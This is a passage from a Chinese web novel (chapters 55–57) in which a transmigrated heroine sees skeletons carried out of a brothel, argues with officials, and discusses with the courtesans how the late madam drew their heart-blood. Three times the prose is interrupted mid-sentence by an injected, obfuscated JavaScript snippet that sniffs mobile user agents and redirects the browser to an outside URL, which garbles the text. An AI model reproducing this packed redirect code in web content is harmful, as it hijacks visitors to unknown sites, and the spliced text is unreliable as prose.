季妤知道苏念可这是生气了,生气了就得哄,既然是她先不对,那么她就得先软下态度来,让苏念可消气才行。 季妤想了想,抬起头来,露出讨好的笑脸走到苏念可面前,“苏小姐,你看芷丹给我新梳的发髻好看吗?芷丹真的是心灵手巧啊,给我梳了三种发髻,各个都好看,奈何我手笨,只学会了两种比较简单的。” 见苏念可理都不理她,季妤又转了个方向将脸凑得近了些,笑道:“你看是这个发髻好看还是先前那个好看?我觉得两个都好看,而且两个都不难,我打算就学这两个,苏小姐觉得怎么样?你看你摘的两朵桃花真是点睛之笔,把我都衬得好看了不少……” “难看。”苏念可瞥了季妤一眼,冰冷地吐出两个字。 季妤脸色一僵,试探性地问:“真的难看吗?是人难看还是发髻难看?” 她觉得很好看啊,穿书以来,这是她是精致好看的一次,为了搭配这好看的发髻,芷丹还给她浅浅地画了个淡妆,她看到镜子里的自己时吓了一跳,觉得自己好看死了! 没想到苏念可竟然睁眼说瞎话,说她难看。季妤气死了,虽然比起苏念可,她确实不如她漂亮,但她也不差的好吧,打扮打扮也是个清秀可人的小美人啊。 苏念可不理她了,季妤正伤心着,突然听到一句—— “好看。” 嗯?季妤诧异地看向南星,刚刚是他说的好看吗? 季妤扭捏地将碎发撩至耳后,有些不好意思地问:“真的好看吗?” 期盼听到夸奖的眼神太过明显,南星忍不住牵起嘴角笑了笑,点点头,很是认真地再了说一遍:“很好看。” 季妤高兴了。 55. 第 55 章 季妤出门时,发现街上许多百姓都朝着同一个方向跑,于是疑惑地随机抓住了一个妇人,忙问道:“诶,大娘,你们这是上哪儿看热闹去?” 大娘扭头一脸不耐烦地瞪了季妤一眼,抱怨道:“你抓我做什么,去晚了我看热闹的好位置都要没了!” 说罢,也不回答季妤是去哪儿看什么热闹,大娘转身提起裙子就往前冲,脸上荡漾着激动的神色,很快便涌入了人群里,没了踪影。季妤暗暗感叹,这大娘跑得忒快,如果去跑八百米准能得个第一。 与此同时,季妤是越发好奇了,几乎是没有犹豫地,也跟着人群往前跑去,直到……在寻欢楼前停下。 寻欢楼前摆着一排排盖着白布的担架,有官差在寻欢楼进进出出,没几分钟就会搬出一具尸体,然后整齐摆放成一排。 因为盖着白布看不到尸体面貌,季妤以为是寻欢楼的姑娘出了事,否则怎么一下子能从寻欢楼搬出那么多具尸体? 季妤着急地想要上前查看一番,她与这些姑娘相处有一月了,都是很好的女子,她们若是有事,她心里定会非常难过。 奈何看热闹的百姓太多,季妤前面几乎是被围了个水泄不通,也亏得她身子娇小,靠着钻人与人之间的缝隙,一点点挤到了前面。 “李仵作!”季妤上前走了一步,被捕快拦了下来,着急忙慌间猛地看到李仵作,于是忙出声喊道。 季妤看到李仵作在听到她喊他的声音后扭头朝她这边看过来,见是她,李仵作眉头紧皱,脸上隐隐带着几分不悦,无视她的存在,将头扭了回去。 季妤气急,这老头怎么总是一副看不惯她的样子,她和这老头总共也才见过两次,一次是在衙门公堂上,他是给黄石验尸的仵作,还有一次便是现在。 她好像没惹他吧,他无端讨厌她实在没道理。 就在季妤准备硬闯上前时,忽地看到一角红色衣袍,心下一动,忙高喊:“陈大人,陈大人!” 陈远听到声音,脚步一顿,转身朝声音来源看了过来,季妤站在许多百姓之间,恐陈远看不见她,忙举起右手挥了挥,见陈远目光成功锁定在她身上,季妤欣喜,又喊道:“陈大人,我在这!” 陈远视线在季妤身上停留了几秒,很快移开,然后转身朝着里面走去,没有要搭理季妤的意思。 季妤一脸疑惑,愣在当场,昨晚陈远的态度可不是这样的,虽然她只是个普通平民,但她好歹也是苏念可那边的人,怎么着也得看在苏念可的面子上,理她一下啊,怎么可以直接扭头转身就走。 见陈远已经进了里面,季妤虽然很气,却也没什么办法,毕竟他是官,她是民。 于是,季妤又将目光放到李仵作身上,在看到李仵作随意掀开了一个离自己近的白布,季妤伸长脖子去看,只看到一头凌乱的长发,根据体型大小,能看出来是个女子。 是个女子,季妤就更担心了,生怕素娥她们遭遇不测。 眼看着白布就要被重新盖上,季妤忙又出声喊道:“李仵作,死者是谁啊,可是楼里的姑娘?” 李仵作对于季妤说的权当没听见,将白布盖上后,转而又要去看另一具尸体,手上还拿着一本记事簿记录着什么。 突然,季妤看到有只白嫩的手腕从担架上垂了下来,季妤瞪大眼睛去看,赫然看到手腕上带着一只白玉手镯,而那个玉镯,分明是雪伶常戴的那个,一想到这,季妤浑身发冷,小芙才被取心头血,难道雪伶也…… 顾不得捕快阻拦,季妤利用身体娇小的便利钻入其中缝隙,很快便冲到了那截白嫩手腕面前,她猛地掀起白布,见是小芙,不是雪伶,方才重重地舒了口气。 又快速地掀开离得最近的两个担架上的白布,在看到两具白骨时,脑子一懵,愣在当场,而就在她发愣的间隙,被捕快一把摁住,压到了左臂上的伤,季妤却恍若未觉,好似感受不到疼痛,整个人沉浸在刚才的震惊当中。 白骨,竟然是白骨,难道这十几个尸体,除了小芙是才死不久的,其她的,都是死了很久的吗? 天呐,柳棠竟然为了取心头血,杀了这么多人,难道她开青楼,就是为了方便自己取那些姑娘的心头血吗?她竟然把青楼当做她取心头血源源不断的血库,这真的已经是丧心病狂的程度了! 季妤只觉心里一阵恶寒,亏她还以为柳棠是这些青楼老鸨中最有人情味的一个,不会一味的压榨逼迫女子,现在看来,比起逼迫女子,她直接害人性命,更加可恶! 这样一想,江佑杀她倒是正义之举,她也死得其所。 “季妤!官府办案,你来捣什么乱!还不快滚开!”李仵作看到季妤连掀三个白布,险些就要将尸骨暴露于众,顿时气得胡子都在颤抖,稀疏的眉毛更是狠狠地皱在一起,眼睛里迸发出锐利的光,紧紧地瞪着季妤。 季妤被这道中气十足的吼声给骂回了神,等反应过来时,才发现自己被一个捕快给摁住,左臂压到了伤口,疼痛袭来,季妤疼得额头直冒汗,忍不住往回缩了一下手臂,奈何捕快察觉到了她的动作,以为她要挣脱逃走,手下再一用力,更加紧紧地压住她的手臂。 “嘶——”季妤疼得倒吸一口凉气,伤口被那人大掌掐住,伤口崩开,血渗了出来,直接染红了半截衣袖。 那捕快察觉到手下湿濡一片,低头去看,看到血时惊讶得眼睛都瞪圆了,正要松开手,突然被人从右边猛踹一脚,没等反应过来,便被踹飞至十米远,重重砸在担架上,震得担架上的尸骨四处散架,纷纷从白布里跑了出来,掉在地上,发出一阵清脆撞地的声音。 人群中传出一片倒吸气的声音,围观的百姓骤然看见好几副尸骨,惊恐得连连后退,本以为是有什么热闹要看,没想到,好好的寻欢楼温柔乡,竟然搜出那么多具尸骨,而且仔细瞧尸骨的大小,分明都是些女子! “季姑娘,你没事吧!” 季妤捂着受伤的左臂,拧着眉抬头去看,与一双关切的眸子视线相对,她摇了摇头,勉强露出一笑:“没事。” 南星伸手虚扶在季妤的肩膀处,在看到季妤左臂伤口处渗出的血后,眼眸瞬间暗了下去,凌厉的目光朝被他踹飞的捕快处瞥去一眼。 季妤察觉到南星身子微微动了一下,循着他的视线看过去,发现他在看刚才摁住她的那个捕快,那捕快捂着胸口摇摇晃晃地从地上爬起来,还没等站稳,便又晕头转向地跌倒在地,“哇”的一声,呕出一口血,可想而知南星踹来的那脚力道有多大。 季妤隐约看到他的眼神里露出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239749|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝危险的气息,与之前在河边捡到他,他看着她时的眼神一样,阴测测的,眼底隐隐带着杀气。 季妤伸出右手扯了扯南星的衣袖,等南星扭头朝她看来时,她抿着唇,一双水灵灵的大眼睛只看着他却不语。 南星手掌轻轻覆在季妤的肩上,透过柔软的布料,感受到她温热的体温,南星心头一暖,抬眸也看着她。 不知怎的,她只是轻轻拉了一下他的衣袖,而他在看到那双黑白分明的清澈双眸后,所有的戾气便全然消失,眼底暗藏的杀意也尽数褪去,只剩下对季妤的关切。 见南星情绪稳定了,季妤暗暗松了口气,看过原书的她知道,南星时常会有冲动杀人的举动,虽然这一个月来,只有他蛊毒发作的那一次对她下过杀手,险些将她掐死,而其余时间都披着祁钰的外皮,对她谦和有礼。 但是,一旦祁钰的外皮剥下,露出他本来的样子,季妤不敢保证他会不会如原书那样,冲动杀人。 而且他刚才的样子,脸色阴沉,眸色阴冷暗藏杀气,一副要把捕快生吞活剥的样子,让季妤不得不警惕起来,如果她不拦着,当着众多百姓和捕快面前,他可能真的能当干出这样血腥的事,毕竟,书上就这么写过。 不过好在,南星至少还是听劝的,季妤对于南星听话这一点,还是很满意的,说明他本性并不坏,如果真是坏得无药可救的人,是听不进去别人劝他的话的。 “你是何人,竟敢伤衙门官差!”李仵作上前怒斥南星。 “你们几个,快把他抓起来!”一声令下,有两三个捕快迅速上前欲捉南星,季妤伸出右手将南星挡在身侧,对着李仵作道:“李仵作,我并不是有意要扰乱你们办案,实在是担心楼里的姑娘安危,我怕这十几个担架里躺着我认识的姐妹,所以着急莽撞了些,这里的确是我的不对,现在我也看到这十几副尸体里没有认识的人,我就放心了,便不打搅你们办案。” 说罢,转身拉着南星就要走,却被两个捕快拦下,紧接着,便听到李仵作骂道:“伤了人还想跑?!” 季妤不想与人起冲突,何况还是府衙的人,更何况还是一直看她不爽的李仵作,所以,季妤压下心中的那点气,挂着笑脸和善道:“他不是有意伤人的,不过人也确实是我们弄伤的,所以我们可以带那个捕快去医馆医治,诊费药费和后续休养费我都可以出,李仵作就没必要再不依不饶吧。” 李仵作冷笑一声,喝道:“把那个小子捉起来,伤了衙门官差还想走?” 季妤脸色瞬间沉了下来,拉着南星的手逐渐攥紧,她抿唇暗骂:真是不知好歹,要不是她拦着南星,这些人有几个是够他杀的? 南星眼眸一沉,冷漠地看着两个不知死活上前来找死的捕快,两人拿着刀扑了上来,南星一个躲闪,闪现至两人身侧,快速夺了两人手里握着的刀,之后再左右各一脚,轻而易举地便将两人踹倒在地,直疼得两人哎呦叫唤。 捕快的武功根本就入不了南星的眼,打他们就跟吃饭一样简单,方才的打斗中,他甚至只出了一成的功力,若是再使出一成,这两人恐怕不死也要残。 之所以收敛了力道,不过是因为,季姑娘她好像不喜欢他杀人的一面。 既然她不喜,那他便不做。 56. 第 56 章 “发生何事?!” 季妤循声望去,只见是陈远从里面走了出来,许是看到此刻称得上是一片狼藉的场面后,眉头紧锁,脸色阴沉。 李仵作见陈远出来了,忙上前告状:“大人,就是这两人扰乱我们办案,还将尸骨暴露在百姓面前,这不仅是对死者的大不敬,还给围观百姓造成不小的伤害。而且,此人打伤了三名捕快,行为实在恶劣至极,一定要将他关进牢房待上几日才行!” 陈远目光朝左边一瞥,两名捕快躺在地上哎呦叫唤,哪有平日里的威风,再往右一瞥,一个捕快已经晕死过去,地面上有一滩血迹,可想而知伤得不轻。 陈远被吓了一跳,下意识地就看向了季妤这边,在看到南星时,忽地想起之前狱卒所说的,救走季妤的是个少年,一箭就将黄全当场毙命,下手利落又狠绝。 心里不禁暗道:此人不是善茬,还是谨慎些少惹为好,否则他手下这群酒囊饭袋的捕快都不够他杀的。 面对陈远扫过来的视线,季妤解释道:“我并没有要扰乱官府办案的意思,突然看到从寻欢楼搬出那么多尸体,实在是担心寻欢楼的姑娘遭遇不测,本来是要问问大人能不能让我近距离亲眼看看这些尸体,奈何大人和李仵作都不理我,那我便只好硬闯上去。” 见陈远面色平静,季妤猜不透他内心的想法,怕他真因此治她和南星的罪,把他俩关进牢房去,到时候还得麻烦苏念可去捞她俩,那她就欠了苏念可一个人情了,她可不想欠人情,宁愿欠钱也不欠人情,钱容易还,人情可不好还。 正是明白这个道理,季妤又补充道:“一开始我也只是掀开了三块白布,看到除了小芙外,其余都是死了很久的尸骨,我就知道了这里面没有认识的人,所以我们就打算走了。” “谁知李仵作不依不饶,非要让捕快把我们抓起来,我们也是为了自保,所以才出手打伤了那两位捕快,对于打伤的捕快,我可以给他们包扎医治,医药费免除,保证让他们完好如初,陈大人觉得如何?” 陈远下意识地看了一眼南星,在看到南星冷冷地看着他时,又赶忙将视线收回,重新将目光放在季妤身上,对着季妤道:“就按季姑娘所说的吧。” 季妤有些诧异陈远的态度,方才还不搭理她,这会子倒是那么好说话,心里疑惑,但也没多问,只微微一笑,道:“那麻烦陈大人派几个捕快将受伤的捕快搬到济世堂去。” 受伤的三个捕快很快便搬走了,季妤看着寻欢楼门口十几个盖着白布的担架,脸色有些凝重,“陈大人,为什么从寻欢楼搜出那么多……尸骨?” 不是单纯的尸体,已经成了白骨一堆,说明死了很久。 虽然心里大概明白是柳棠干的,但季妤还是问了陈远,想要看看他怎么说。 陈远叹了口气,眼里有几分哀伤,像是为这些死者而感到悲痛,他看着面前十几具尸骨,道:“这些尸骨藏在寻欢楼的密室里,整整十三具尸骨,我问过寻欢楼的姑娘,皆不知这密室的存在,因此根据小芙的死,可以推断,这十二人皆是被柳棠所害。” 话音刚落,又唤来李仵作:“李仵作,你验出她们都是什么时候死的了吗?” 对于陈远对季妤和南星两人不做任何处罚的事,李仵作心里很是不满,但他只是个小小仵作,不敢对陈远的决策有任何异议,因此便只得压下这股不满,朝着季妤瞪了一眼,然后才拿出记录的记事簿。 “由于时间太短,只简单验了验。这十三具尸骨,除了那个叫小芙的是昨晚死的,其她十二个都是死了至少有五年了,具体是哪年死的,这个还得更加仔细地验过尸才能得出答案。” “李仵作,可有验出她们是怎么死的吗?”季妤问。 李仵作斜了季妤一眼,本不想回答她,奈何陈远又朝他看来,最后没好脾气道:“不知道,死了这么多年了,哪里那么容易就能验出死因。” 季妤“啧”了一声,皱着眉看向陈远,阴阳怪气道:“陈大人,你衙门里的仵作看来不怎么样啊!可能年纪大了,水平退步了,还是说李仵作的水平一直就这样?” 季妤说着,似笑非笑地看着李仵作,在到看到李仵作气得面红耳赤后,更是笑出了声,神情颇为得意,小声嘟囔道:“谁让你看我不爽的,我也让你不爽,哼!” 声音很小很轻,几乎都是气音,只有挨着季妤站在她身侧的,习武之人耳力很好的南星听见了。他低头看了一眼季妤,她表情生动,嘴唇一张一合还在说那些让人觉得可爱的话,只觉得她有趣极了,忍不住也跟着笑了起来。 “你……你个丫头片子竟敢质疑我,我做仵作验尸验了快四十年了,我第一次验尸的时候你爹恐怕都还没出生呢,轮得到你来质疑我?”李仵作气坏了,质疑什么都不许质疑他的专业能力,更何况还是季妤这个丫头。 见成功气到了李仵作,季妤也没想着不依不挠,便不再搭理李仵作,转而跟陈远说:“陈大人,柳棠身为寻欢楼老鸨,现在她死了,楼里的那些姑娘怎么安排?” “根据我朝律法,青楼女子若想赎身,需得交赎身钱,之后由青楼老鸨到府衙办相关文书。鉴于柳棠已死,寻欢楼的姑娘若是能拿出赎身钱,可到府衙办理相关文书,恢复良籍;若是拿不出赎身钱,则分配到别的青楼去。”陈远微微沉思,眼睛半眯着,下巴微抬,开始背诵起大祁律法中的某一条。 季妤心喜,这样一来,素娥就能顺利赎身了,只是…… 才心喜不到两秒,季妤又垮下脸来,素娥尚且攒够了赎身钱,那剩下的十几二十个姑娘呢? 赎身钱很高,像素娥这样的头牌姑娘都攒了一年才攒够,别的姑娘没有赎身钱就要被分到别的青楼了。 别的青楼季妤没怎么去过,但听人说过,青州的几家青楼里,要数寻欢楼对底下姑娘最宽容,基本不会压榨她们,抛开柳棠害人性命这一件事来说,寻欢楼无疑是青楼女子最好的去处。 季妤心里犯愁,为着剩下的姑娘而担忧,担心她们到了别的地方会过得不好,会受人欺负,毕竟几家青楼都是竞争对手,现在寻欢楼倒了,她们未必会好好对待曾经是竞争对手的寻欢楼姑娘。 要是寻欢楼现在能有个老鸨就好了。 “陈大人,我能不能进去看看她们?”季妤问。 陈远有些诧异地看了季妤一眼,他不知道季妤在寻欢楼的画师身份,对于她和青楼女子有不浅的交情很是惊讶,毕竟,良家女子和青楼女子本就是两类人。 不过季妤确实与寻常女子不同,寻常女子,不,应该是寻常人,看到那么多尸骨早就吓哭了吓跑了,哪有季妤这样的,还要凑近去掀起白布仔细看,一点都不害怕的样子,胆子着实大。 若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252292|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是他这些年为官看多了这种尸体和尸骨,早就习以为常了,恐怕他也不能幸免而害怕。 因此,对于季妤与青楼女子的关系他没有细究,当即便点头应允了她。 季妤和南星走进了寻欢楼,陈远他们便搬着尸骨往衙门去,围观的百姓在看到白骨的时候就已经吓跑了一大半,现在官差走了,寻欢楼门前恢复了宁静,剩下看热闹的百姓自然也就散了。 季妤进了寻欢楼,里面很安静。 平常白日里是姑娘们休息的时间,所以是很安静的。但今日安静得不同寻常,发生这样的事,这些女孩估计都吓得不轻了,毕竟按照现代年龄来算,这里面有一大半的女孩子还没成年呢! 上楼梯时,季妤侧头看了一眼南星一眼,道:“你怎么来寻欢楼了?难道江佑他们还在寻欢楼吗?” “江佑?”南星疑惑地问。 季妤慌得连忙捂住嘴,一双大眼睛紧张得眨了眨,完了完了,说漏嘴了,南星和苏念可他们都是不知道蓝汐和江佑的,他们只知道有这两号人物,但不知道名字,她刚刚嘴比脑子快一步,把江佑名字说出来了。 南星定定地看着季妤,暗自思忖着季妤口中的江佑。 难道,江佑便是昨晚与他交手,武功不在他之下的那人? 可季姑娘又怎么知道那人的名字? 看着季妤水灵灵的大眼睛无辜地看着他,南星不禁心下一软,想着,或许江佑是寻欢楼里的某个姑娘的名字…… 可是,会有女子叫江佑这种名字吗?寻常女子或许有可能叫江佑的,可青楼女子绝对不可能。 南星很想说服自己,奈何,根据季姑娘刚刚所说的那句“难道江佑他们还在寻欢楼?”可以看出,江佑指的,很明显就是那人。 季妤脑子飞速运转,思考着该怎么解释她脱口而出的名字,眼见着南星眼中疑惑越来越深,情急之下,季妤凑近南星,用十分认真的语气说:“江佑其实就是素娥的真实姓名……” 一股药香随着季妤的靠近越发清晰地钻入鼻子里,南星僵在原地,任由季妤凑近他,他双眼定定地看着季妤,看到她黑白分明的漂亮眸子闪烁着狡黠的光,红润的嘴唇一张一合,似乎在说着什么,但他什么都听不见,眼里只有面前这张很好看的脸。 季妤说完一堆,心中忐忑,不知道南星会不会相信她刚才说的那些,却看到南星一副呆愣住的样子,季妤以为是自己刚才说的他不相信,也对,素娥的真实姓名是江佑,一看就扯淡的话,换作她,她也不信,正打算再找个借口时,突然有人喊了她。 “小妤,快上来!” 季妤抬头去看,看到素娥站在二楼的走廊上,朝楼梯上的她挥手。 季妤看了旁边的南星一眼,见他似乎是回了神,便说:“南星,我去二楼和素娥她们说说话,你去哪儿?” 南星朝二楼瞥了一眼,随后将目光放在季妤身上,道:“我一会儿要去和小姐会合,季姑娘……” 南星停顿了一下,季妤看向他,看到他从怀里取出一样东西,他看着季妤,神情认真,道:“季姑娘,把手伸出来。” 季妤以为他要给自己什么东西,于是把右手伸出去,摊开掌心,谁知南星将手里的东西戴在了她的手腕上,季妤看到了,是竹哨。 “若是遇到危险,吹响竹哨,我会来救你。” 57. 第 57 章 季妤上了二楼,进了屋才发现所有的姑娘都在里面,每个人脸色都不太好。 素娥拉着季妤的手,眼里是惊慌的,“小妤,真是太可怕了,柳妈妈竟然……竟然害死了这么多条人命!” 一提起这事,这些姑娘们纷纷露出害怕的神色,就连一向比较冷静稳重的梅蕊,也不能幸免。 “寻欢楼里竟然有个密室,我算是几个姐妹里在楼里待得最久的人了,我竟然也不知道。”梅蕊讶异道。 话音刚落,看到几个姐妹甚至是季妤都看向她时,梅蕊面色就变得有些凝重,她道:“你们可有印象,你们才来楼里时,有没有被柳妈妈叫去房内,她有没有对你们做些什么看起来很奇怪的事?” 素娥皱着眉想着什么,其余姐妹也都垂眸沉思,就连季妤也不禁去回忆,回忆她当初才来寻欢楼时,柳妈妈有没有对她做些什么,但思来想去,好像没什么不对劲的地方,柳棠对她挺好的。 就在这时,素娥脸色苍白地看了季妤一眼,然后再看向梅蕊,道:“我也不知道这是不是我多想了,就是我那时候才来楼里时年纪还小,直到及笄后的隔天,我记得很清楚,柳妈妈有把我叫到她的房间……” 说到这,素娥停顿了一下,在姐妹几个脸上扫视了一圈,果然看到有好些个姐妹脸上都露出了恍然大悟的神色。 心下瞬间了然,知道了她们估计和自己一样,有同样的遭遇,便继续道:“我在柳妈妈房内做了什么,说了什么已经完全没了印象,只知道好像是睡了一觉,柳妈妈说我是练舞练得太累了,所以睡着了,当时我是信了的。” “后来回了自己房里,晚上沐浴时发现左胸口有个小小的伤口,伤口不大,大概就是……”素娥努力回想着用什么东西来形容比较准确,突然,她抓住梅蕊的左手,摊开她的掌心,指着掌心道:“那个伤口大概就像梅蕊掌心的这颗红痣大小。” 季妤凑近去看,梅蕊掌心的红痣大概是芝麻粒大小,这真的很小,不仔细看,长在胸口那么隐蔽的地方,甚至都难发觉。 不过,这倒是和小芙左胸口上的伤口不太像,季妤暗暗沉思,如果柳棠也取过素娥心头血的话,那么为什么素娥没死? “素娥姐姐,你这么一说,我也记起来了,我左胸口也有这样的伤口,不痛不痒的,一开始我还以为是莫名其妙长了颗红痣,便没细想。”雪伶惊讶道,又解开领子来,将左胸口上的那处伤口给大家看。 大家都是女子,倒也不觉得有什么,季妤便也凑近去看,果然如素娥所说那般,伤口大小确实如梅蕊掌心痣那般大,那么小的伤口,取心头血的工具必定很精细。 季妤不由得想起了被薛五严加看管的孙大夫,当时他就是提着一箱子工具准备取她的心头血,那箱子工具如今还在她房里。 她当时有仔细查看过,确实是很精细的工具,但那再精细,也不可能留下那么小的伤口,这伤口,倒像是…… 季妤脸色沉了下来,心里隐隐有些不安,她甚至不敢细想,就怕细想之下,答案与自己的猜想一样,那时,她该如何应对? 雪伶解开衣裳展示了左胸的伤口,其中有好几个姐妹纷纷点头确认道:“这个我也有,我也和雪伶一样,以为长了颗红痣呢!” 梅蕊面色凝重,她的左胸口也有,只是,伤口没素娥雪伶她们的那么小,她的,比掌心的红痣要大上一倍。 犹记得那时她逃难而来,在快要奄奄一息饿死时,柳棠蹲在她的面前,她以为柳棠是可怜她要给她吃的,却听到柳棠问她,她及笄了吗。 她当时甚至没有力气点头,也没有力气去回答柳棠她已经及笄了,她就晕倒在地上,醒来时,人已经在寻欢楼里。 柳棠问她,可愿意留下,那时她便想着,留在这里不用饿肚子,就算是做这低贱的青楼女子又如何,她只要有地方住,每顿能吃饱就行,所以,她留了下来。 那时寻欢楼才开没多久,楼里的姑娘却很多,都是些才及笄不久的,身世大多悲惨,要么是被拐子拐的,要么是被爹娘卖的,要么就是孤儿…… 柳棠也不是专挑好看的往楼里领,至少那时,一大半的女孩都是普通长相。 青楼老鸨为了青楼生意,就是买丫鬟都得挑好看的买,更何况是今后要接客姑娘。 那时她也没觉得有不对劲,只觉得柳棠人好,肯给她们一个安身立足之地,也不强逼着她们接客。 后来身边的姑娘一个个的,不是被爹妈赎回去了,就是被恩客赎走了,又有些头牌的自己攒了赎身钱走了的,当然,也有几个是病死的…… 这么几年过去了,和她同一时期的女孩,竟是只剩了她一个。 现在细细想来,今日捕快从寻欢楼搬出去的十二具尸骨,恐怕便有和她同一时期的。 柳棠,她杀了那些年她曾救过的女孩们,她给了她们新的生活,让她们有地方住,有饱饭吃,有漂亮衣服穿,代价却是死…… 梅蕊止不住地浑身颤抖起来,眼睛通红一片。 她直到刚才,心里都还在为柳棠狡辩,认为定是有人栽赃陷害她,直到素娥说起左胸口上的伤口,她才想起,她的左胸上,也有。 那时她已经在寻欢楼待了一年了,柳棠把她叫到房里,说是有话和她说,起先是嘱咐了她几句练琵琶的事,然后给她倒了一杯水,她喝了…… 醒来后,柳棠说她练琵琶太累睡着了,她不疑有它,等回了自己的房间,也是晚上沐浴时才发现自己左胸口平白无故地多了一道口子,像是被什么尖锐的东西刺进去后又拔了出来,疼倒是不疼,就是低头仔细能闻到隐隐约约的药味。 后来忙着花魁大赛的事,就将这事忘了,直到今日,才猛然全部记起。 伤口无一例外都是出现在左胸口上,柳棠是要做什么,挖心吗? 心若是被挖了,人必定是活不成的。可为何,有的人死了,而她,素娥,雪伶她们这些还在寻欢楼的人,却还没死? 梅蕊手抚在左胸口处,那里的心有力地跳动着,心还在,柳棠没有挖走它。 最先察觉到梅蕊不对劲的是季妤,季妤紧紧地盯着梅蕊,看到她神情恍惚着,仿佛陷入回忆中,脸色越变越难看,直到最后,手捂在心脏那。 季妤担心地问:“梅蕊,你没事吧,脸色那么难看,是胸口疼吗?” 季妤话一出,大家都朝梅蕊看去,眼神中皆流露出关切的神色。 “梅蕊姐姐,你左胸上是不是也有这样的伤口?”有人问。 梅蕊眼睫颤了颤,抿着唇,只微微点头,又道:“没事。” 她现在脑子一片混乱,她不明白,柳棠为什么要杀人,而且,还是从七八年前就开始,可又为什么到最后,又不杀人了,素娥她们左胸口都有伤口,却安然无恙,而那些死去的女孩,却真的死去了,难道是柳棠她后来良心发现了,所以不打算再杀人了? 既然不打算杀人,那她又为什么还要在她们的左胸口处留下伤口? 这或许不是挖心,而是别的…… 太多太多的疑问,梅蕊觉得自己脑子想着想着都要炸了。 季妤在听完素娥所说的,差不多有了大致的思路。 柳棠,因为对乔嫣然的愧疚,柳棠她相信了邪术,企图复活死去的乔嫣然,这种邪术是取及笄少女心头血来练蛊,所以,她开了一家青楼,买过了及笄礼的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15264434|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子,为了方便她取心头血。 只是有一点季妤不明白,既然从寻欢楼里搜出十二具尸骨,那么就说明了取心头血是会死人的,毕竟,挖开心脏一个口子取血,如果技术不好,工具太大,取心头血时因为伤口大导致血流不止,那么就会失血过多而死。 根据她们左胸口的伤口,季妤推断素娥她们绝对是已经被取过心头血了,只是为什么只偏偏素娥她们没事? 季妤思考着,想到了方才看到的掌心痣般大小的伤口,这必定是用了很精细的工具来操作取血,再加上一定的手法,或许真的是能避免死亡。 只是,柳棠屋里她搜过了,并没有看到有这样精细的取血工具。 这倒是奇怪,明明小芙就死在那,说明柳棠当时是在取小芙心头血,所以应该是有工具的,但现场却没有…… 季妤拧着眉冥思苦想,梅蕊则陷入回忆里,一时之间,两人沉默得十分明显,姑娘几个面面相觑,愁绪涌上心头,想到之后大家的归处,不由一片叹息,也跟着沉默起来。 季妤突然之间觉得有些口渴,回过神来准备去倒碗水喝,才发现此刻安静异常,大家都垂下了头,一个个黯然神伤的模样,想到这些姑娘一个个将被分到青州各个青楼里,以后过得不知道会是什么日子,但大抵是比不得在寻欢楼里的,季妤心里就不是滋味。 为了缓和气氛,她还是假装轻松的口吻笑着道:“怎么一个个那么发愁?眉头皱多了,容易长皱纹的哦。” 素娥轻轻笑了一下,只是这笑有些勉强,也有些敷衍,因为她知道季妤这是有意要逗她们,让大家心里轻松一些。 可要不了多久大家就要分开了,一起过了那么多年,有的已经相处得宛若亲生姐妹,一想到要会分开,又怎么可能会心里轻松? 而且她,素娥叹了口气,她攒好了赎身钱,如今柳妈妈死了,她还不知道能不能成功赎身呢。 见大家并没有因为她的话而轻松些,反而因为将要到来的离别而更加发愁,有的甚至已经悄悄地抹起眼泪来,季妤见状,只得紧紧抿着唇,默默地走到桌上给自己倒了碗水喝。 突然,安静沉闷的氛围被一道清冷的声音打破。 “若是我将寻欢楼买下来,是不是大家就不用散了?” 季妤瞪大了眼睛看向梅蕊,有些惊讶地看着她。 刚才,那话,是梅蕊说的? 她说什么,要买下寻欢楼? 季妤这般反应,大家听到这话时,也是如此,被惊得愣住了,抹眼泪的也不抹了,呆呆地看着梅蕊。 雪伶担忧地问:“买下寻欢楼?这怎么可能,你即使把你这些年攒的钱全拿出来,也买不下这么大的寻欢楼啊,你是在说胡话么?” 素娥叹了口气道:“雪伶说的不错,寻欢楼那么大,买下至少需要千两,你我姐妹几个,就算是把攒的钱凑一起,恐怕还不够买寻欢楼的一半。” 是啊,这根本就不可能的事,大家都以为梅蕊在说胡话,只有季妤紧紧地盯着她,梅蕊脸上并没有开玩笑的意思,相反,她很镇定,说明她说出这话是经过深思熟虑的。 经过深思熟虑的话,那是不是说明梅蕊真的能买下寻欢楼?可她哪儿那么多钱? 季妤心里的疑问,正是大家的疑问,为了给大家解惑,季妤直接开口问梅蕊:“你是不是有办法了?快给大家说说。” 